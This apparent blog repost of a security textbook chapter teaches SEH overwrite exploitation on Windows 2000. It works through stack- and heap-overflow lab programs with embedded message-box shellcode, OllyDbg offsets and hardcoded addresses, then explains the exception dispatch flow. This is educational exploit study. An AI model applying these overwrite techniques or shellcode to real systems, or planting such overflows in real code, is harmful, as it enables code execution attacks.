《0day安全》——狙击Windows异常处理机制(SEH)

2024-02-20 01:38

本文主要是介绍《0day安全》——狙击Windows异常处理机制(SEH),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

SEH的异常处理模型主要由__try __except语句来完成,与标准的try catch相似。


在栈溢出中利用SEH

#include "stdafx.h"
#include "stdio.h"
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x73\x75\x6E\x72\x68\x73\x75\x6E\x72\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x98\xFE\x12\x00";
void MyExceptionhandler(void)
{printf("got an execption, press Enter to kill process\n");getchar();ExitProcess(1);
}void test(char * input)
{char buf[200];int zero = 0;//__asm int 3__try{strcpy(buf, input);zero = 5 / zero;}__except(MyExceptionhandler()){}
}
int main()
{test(shellcode);return 0;
}

对代码简要解释:
 1.函数 test 中存在典型的栈溢出漏洞。
 2.__try{}会在 test 的函数栈帧中安装一个 SEH 结构。
 3.__try 中的除零操作会产生一个异常。
 4.当 strcpy 操作没有产生溢出时,除零操作的异常将最终被 MyExceptionhandler 函数处理。
 5.当 strcpy 操作产生溢出,并精确地将栈帧中的 SEH 异常处理句柄修改为 shellcode 的入口地址时,操作系统将会错误地使用shellcode 去处理除零异常,也就是说,代码植入成功。
 6.此外,异常处理机制与堆分配机制类似,会检测进程是否处于调试状态。如果直接使用调试器加载程序,异常处理会进入调试状态下的处理流程。因此,我们这里同样采用直接在代码中加入断点_asm int 3,让进程自动中断后再用调试器 attach 的方法进行调试。

这个实验的关键在于确定栈帧中 S.E.H 回调句柄的偏移,然后布置缓冲区,精确地淹没这个位置,将该句柄修改为 shellcode 的起始位置。

 环境备注
操作系统Windows2000Windows XP SP2和Windows 2003加入了S.E.H的安全检验
编译器vc++6.0 
编译选项默认
buildrelease版本debug版本会失败

调试看看,停在test函数的int3处,先看看前一些的代码,首先会在test函数的栈帧中安装一个SEH结构。其实就是先将我们自定义的异常处理的函数的首地址压入栈,将最上面的也压入栈,更新最上面的SEH的值。
在这里插入图片描述
观察strcpy和除以0实现
在这里插入图片描述
在字符串复制操作完毕后,数组中的 0x90 能够帮我们在调试器中轻易地确定 shellcode 的起始位置 0x0012FE98
在这里插入图片描述
OllyDbg 当前线程一共安装了 3 个 SEH,离栈顶最近的位于 0x0012FF68,如果在当前函数内发生异常,首先使用的将是这个 SEH。
在这里插入图片描述
剩下的工作就是组织缓冲区,把 0x0012FF6C 处的回调句柄修改成 shellcode 的起始地址0x0012FE98。
缓冲区起始地址 0x0012FE98 与异常句柄 0x0012FF6C 之间共有 212 个字节的间隙,也就是说,超出缓冲区 12 个字节后的部分将覆盖 SEH。
仍然使用弹出“ sunrsunr”消息框的 shellcode 进行测试,将不足 212 字节的部分用 0x90 字节补齐;213~216 字节使用0x0012FE98 填充,用于更改异常回调函数的句柄;最后删去代码中的中断指令_asm int 3。

在这里插入图片描述
成功


在堆溢出中利用SEH

#include "stdafx.h"
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x73\x75\x6E\x72\x68\x73\x75\x6E\x72\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block
"\x88\x06\x36\x00"// 0x00360688 is the address of shellcode in first heap block, you have to make sure this address via debug 
"\x30\xFF\x12\x00";//target of DWORD SHOOT
void MyExceptionhandler(void)
{
ExitProcess(1);
}
int main()
{
HLOCAL h1 = 0, h2 = 0;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
memcpy(h1,shellcode,0x200);// over flow here, noticed 0x200 means
__asm int 3 // uesd to break the process
__try
{
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
}
__except(MyExceptionhandler()){}
return 0;
}

对代码简要解释:
 1.溢出第一个堆块的数据将写入后面的空闲堆块,在第二次堆分配时发生 DWORDSHOOT。
 2.将 S.E.H 的异常回调函数地址作为 DWORD SHOOT 的目标,将其替换为 shellcode 的入口地址,异常发生后,操作系统将错误地把 shellcode 当作异常处理函数而执行。

 环境备注
操作系统Windows2000Windows XP SP2和Windows 2003加入了S.E.H的安全检验
编译器vc++6.0 
编译选项默认
buildrelease版本debug版本会失败

除了 DWORD SHOOT 的 target 不一样之外,缓冲区内其余的数据都和前面讲代码植入一样。首先,我们把最后 4 个字节的target 设置为 0x90909090,这显然是一个无效的内存地址,因此会触发异常。我们所需要做的就是在程序运行时,找到 SEH 的位置,然后把 DWORD SHOOT 的 target 指向 S.E.H 的回调句柄。
首先应当确认 OllyDbg 能够捕捉所有的异常,方法是查看菜单“options”下的“debugging option”中“ Exceptions”选项中没有忽略任何类型的异常。
在这里插入图片描述
然后按照实验要求将代码编译运行,程序会自动中断,使用 OllyDbg attach 到进程上,直接按 F9 键继续执行。
DWORD SHO OT 发生后,程序产生异常。 OllyDbg 捕捉到异常后会自动中断。
在这里插入图片描述
这时查看栈中的 SEH 情况,发现离第一个 SEH 位于 0x0012FF2C 的地方,那么异常回调函数的句柄应该位于这个地址后 4 个字节的位置 0x0012FF30。现在,将 DWORD SHOOT 的目标地址由 0x90909090 改为0x0012FF30,去掉程序中的中断指令,重新编译运行。在这里插入图片描述

消息框成功的弹出,证明 shellcode 得到了执行。在这里插入图片描述


异常处理流程的总结

 1.CPU 执行时发生并捕获异常,内核接过进程的控制权,开始内核态的异常处理。
 2.内核异常处理结束,将控制权还给 ring3。
 3.ring3 中第一个处理异常的函数是 ntdll.dll 中的 KiUserExceptionDispatcher()函数。
 4.KiUserExceptionDispatcher()首先检查程序是否处于调试状态。如果程序正在被调试,会将异常交给调试器进行处理。
 5.在非调试状态下, KiUserExceptionDispatcher()调用 RtlDispatchException()函数对线程的 S.E.H 链表进行遍历,如果找到能够处理异常的回调函数,将再次遍历先前调用过的 S.E.H 句柄,即 unwind 操作,以保证异常处理机制自身的完整性。
 6.如果栈中所有的 S.E.H 都失败了,且用户曾经使用过 SetUnhandledExceptionFilter()函数设定进程异常处理,则这个异常处理将被调用。
 7.如果用户自定义的进程异常处理失败,或者用户根本没有定义进程异常处理,那么系统默认的异常处理 UnhandledExceptionFilter()将被调用。 U.E.F 会根据注册表里的相关信息决定是默默地关闭程序,还是弹出错误对话框。
 以上就是 Windows 异常处理的基本流程。需要额外注意的是,这个流程是基于 Windows2000 平 台 的 , Windows XP 及 其 以 后 的 操 作 系 统 的 异 常 处 理 流 程 大 致 相 同 , 只 是KiUserExceptionDispatcher()在遍历栈帧中的 S.E.H 之前,会去先尝试一种新加入的异常处理类型 V.E.H( Vectored Exception Handling)。

这篇关于《0day安全》——狙击Windows异常处理机制(SEH)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/726652

相关文章

Python FastAPI+Celery+RabbitMQ实现分布式图片水印处理系统

《PythonFastAPI+Celery+RabbitMQ实现分布式图片水印处理系统》这篇文章主要为大家详细介绍了PythonFastAPI如何结合Celery以及RabbitMQ实现简单的分布式... 实现思路FastAPI 服务器Celery 任务队列RabbitMQ 作为消息代理定时任务处理完整

C#使用SQLite进行大数据量高效处理的代码示例

《C#使用SQLite进行大数据量高效处理的代码示例》在软件开发中,高效处理大数据量是一个常见且具有挑战性的任务,SQLite因其零配置、嵌入式、跨平台的特性,成为许多开发者的首选数据库,本文将深入探... 目录前言准备工作数据实体核心技术批量插入:从乌龟到猎豹的蜕变分页查询:加载百万数据异步处理:拒绝界面

Springboot处理跨域的实现方式(附Demo)

《Springboot处理跨域的实现方式(附Demo)》:本文主要介绍Springboot处理跨域的实现方式(附Demo),具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不... 目录Springboot处理跨域的方式1. 基本知识2. @CrossOrigin3. 全局跨域设置4.

java中反射(Reflection)机制举例详解

《java中反射(Reflection)机制举例详解》Java中的反射机制是指Java程序在运行期间可以获取到一个对象的全部信息,:本文主要介绍java中反射(Reflection)机制的相关资料... 目录一、什么是反射?二、反射的用途三、获取Class对象四、Class类型的对象使用场景1五、Class

python+opencv处理颜色之将目标颜色转换实例代码

《python+opencv处理颜色之将目标颜色转换实例代码》OpenCV是一个的跨平台计算机视觉库,可以运行在Linux、Windows和MacOS操作系统上,:本文主要介绍python+ope... 目录下面是代码+ 效果 + 解释转HSV: 关于颜色总是要转HSV的掩膜再标注总结 目标:将红色的部分滤

Java异常架构Exception(异常)详解

《Java异常架构Exception(异常)详解》:本文主要介绍Java异常架构Exception(异常),具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录1. Exception 类的概述Exception的分类2. 受检异常(Checked Exception)

Python实现自动化接收与处理手机验证码

《Python实现自动化接收与处理手机验证码》在移动互联网时代,短信验证码已成为身份验证、账号注册等环节的重要安全手段,本文将介绍如何利用Python实现验证码的自动接收,识别与转发,需要的可以参考下... 目录引言一、准备工作1.1 硬件与软件需求1.2 环境配置二、核心功能实现2.1 短信监听与获取2.

Python使用date模块进行日期处理的终极指南

《Python使用date模块进行日期处理的终极指南》在处理与时间相关的数据时,Python的date模块是开发者最趁手的工具之一,本文将用通俗的语言,结合真实案例,带您掌握date模块的六大核心功能... 目录引言一、date模块的核心功能1.1 日期表示1.2 日期计算1.3 日期比较二、六大常用方法详

Java报NoClassDefFoundError异常的原因及解决

《Java报NoClassDefFoundError异常的原因及解决》在Java开发过程中,java.lang.NoClassDefFoundError是一个令人头疼的运行时错误,本文将深入探讨这一问... 目录一、问题分析二、报错原因三、解决思路四、常见场景及原因五、深入解决思路六、预http://www

利用Go语言开发文件操作工具轻松处理所有文件

《利用Go语言开发文件操作工具轻松处理所有文件》在后端开发中,文件操作是一个非常常见但又容易出错的场景,本文小编要向大家介绍一个强大的Go语言文件操作工具库,它能帮你轻松处理各种文件操作场景... 目录为什么需要这个工具?核心功能详解1. 文件/目录存javascript在性检查2. 批量创建目录3. 文件